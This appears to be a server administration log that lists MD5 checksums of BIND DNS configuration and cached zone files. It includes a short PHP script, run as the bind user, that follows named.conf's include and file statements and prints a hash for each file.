MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:41:30: Establishing a connection
2026-01-03 18:41:39: Establishing a connection
2026-01-03 18:41:39:
PUT: /tmp/pkp437878
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:41:40:
runuser -l bind -s /bin/bash -c '/tmp/pkp437878; rm /tmp/pkp437878'
2026-01-03 18:41:40:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
